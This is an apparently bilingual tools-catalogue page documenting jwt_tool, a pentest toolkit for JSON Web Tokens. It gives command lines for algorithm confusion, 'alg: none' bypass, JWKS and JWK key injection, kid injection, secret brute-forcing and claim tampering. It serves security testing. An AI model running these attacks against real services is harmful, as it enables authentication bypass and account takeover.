retour aux outils back to tools Ducklings

jwt_tool

Boîte à outils pour analyser, fuzzer et exploiter les vulnérabilités des JSON Web Tokens : confusion d'algorithmes, injection de clés, et plus. Toolkit for analyzing, fuzzing, and exploiting JSON Web Token vulnerabilities — algorithm confusion, key injection, and more.

↗ https://github.com/ticarpi/jwt_tool

Overview

jwt_tool is a Python toolkit for testing JSON Web Token security. It decodes tokens, identifies the algorithm and claims, and automates common JWT attacks.

Common Usage

Decode and display a token

python3 jwt_tool.py <token>

Test all common attacks

python3 jwt_tool.py <token> -t https://target.com/api/me -rc "Cookie: jwt=JWT_HERE" -M at

Algorithm confusion (RS256 → HS256)

python3 jwt_tool.py <token> -X a -pk public.pem

None algorithm attack

python3 jwt_tool.py <token> -X n

JWKS injection (supply your own key)

python3 jwt_tool.py <token> -X s

Brute-force HS256 secret

python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

Modify a claim and re-sign with known secret

python3 jwt_tool.py <token> -S hs256 -p 'secretkey' -T

→ (then edit the claim interactively)

Common JWT Vulnerabilities

Attack	Flag	Description
Algorithm confusion	`-X a`	RS256 public key used as HS256 secret
`alg: none`	`-X n`	No signature verification
JWKS injection	`-X s`	Embed attacker-controlled key in JWKS header
Weak secret	`-C -d list`	Brute-force HS256 secret
Key confusion	`-X k`	Use JWK header to supply own key

Help / Man page

python3 jwt_tool.py <token> [options]

TOKEN:
  token       JWT to analyze (can also use -rh/-rc/-pd to extract)

ANALYSIS:
  (no flags)  Decode and display token

ATTACKS (-X):
  -X a        Algorithm confusion (RS256 → HS256 with public key)
  -X n        None algorithm bypass
  -X s        JWKS injection (spoof key)
  -X k        JWK header injection
  -X b        blank password / null byte attacks
  -X i        kid injection (SQLi / path traversal)

SIGNING:
  -S ALGO     Sign with algorithm (hs256, hs384, hs512, rs256...)
  -p SECRET   Secret/key to sign with
  -pk FILE    Public key PEM file (for algorithm confusion)
  -pr FILE    Private key PEM file

CRACKING:
  -C          Crack HS secret
  -d FILE     Wordlist for cracking
  -d dict     Dictionary name (rockyou, etc.)

TAMPERING:
  -T          Tamper mode (interactive claim editing)
  -I          Inject mode (add/modify specific claim)
  -pc CLAIM VALUE  Set a specific claim value

TESTING:
  -t URL      Target URL to test against
  -rh HEADER  Request header containing token
  -rc COOKIE  Request cookie containing token
  -M at       Test all attacks automatically

Vue d’ensemble

jwt_tool est une boîte à outils Python pour tester la sécurité des JSON Web Tokens. Il décode les tokens, identifie l’algorithme et les claims, et automatise les attaques JWT courantes.

Utilisation courante

# Décoder et afficher un token
python3 jwt_tool.py <token>

# Tester toutes les attaques courantes
python3 jwt_tool.py <token> -t https://target.com/api/me -rc "Cookie: jwt=JWT_HERE" -M at

# Confusion d'algorithme (RS256 → HS256)
python3 jwt_tool.py <token> -X a -pk public.pem

# Attaque algorithme None
python3 jwt_tool.py <token> -X n

# Injection JWKS (fournir sa propre clé)
python3 jwt_tool.py <token> -X s

# Brute-force du secret HS256
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

# Modifier un claim et re-signer avec un secret connu
python3 jwt_tool.py <token> -S hs256 -p 'secretkey' -T
# (puis éditer le claim de manière interactive)

Vulnérabilités JWT courantes

Attaque	Flag	Description
Confusion d’algorithme	`-X a`	Clé publique RS256 utilisée comme secret HS256
`alg: none`	`-X n`	Pas de vérification de signature
Injection JWKS	`-X s`	Intégrer une clé contrôlée par l’attaquant dans l’en-tête JWKS
Secret faible	`-C -d list`	Brute-force du secret HS256
Confusion de clé	`-X k`	Utiliser l’en-tête JWK pour fournir sa propre clé

Aide / Page de manuel

python3 jwt_tool.py <token> [options]

TOKEN:
  token       JWT to analyze (can also use -rh/-rc/-pd to extract)

ANALYSIS:
  (no flags)  Decode and display token

ATTACKS (-X):
  -X a        Algorithm confusion (RS256 → HS256 with public key)
  -X n        None algorithm bypass
  -X s        JWKS injection (spoof key)
  -X k        JWK header injection
  -X b        blank password / null byte attacks
  -X i        kid injection (SQLi / path traversal)

SIGNING:
  -S ALGO     Sign with algorithm (hs256, hs384, hs512, rs256...)
  -p SECRET   Secret/key to sign with
  -pk FILE    Public key PEM file (for algorithm confusion)
  -pr FILE    Private key PEM file

CRACKING:
  -C          Crack HS secret
  -d FILE     Wordlist for cracking
  -d dict     Dictionary name (rockyou, etc.)

TAMPERING:
  -T          Tamper mode (interactive claim editing)
  -I          Inject mode (add/modify specific claim)
  -pc CLAIM VALUE  Set a specific claim value

TESTING:
  -t URL      Target URL to test against
  -rh HEADER  Request header containing token
  -rc COOKIE  Request cookie containing token
  -M at       Test all attacks automatically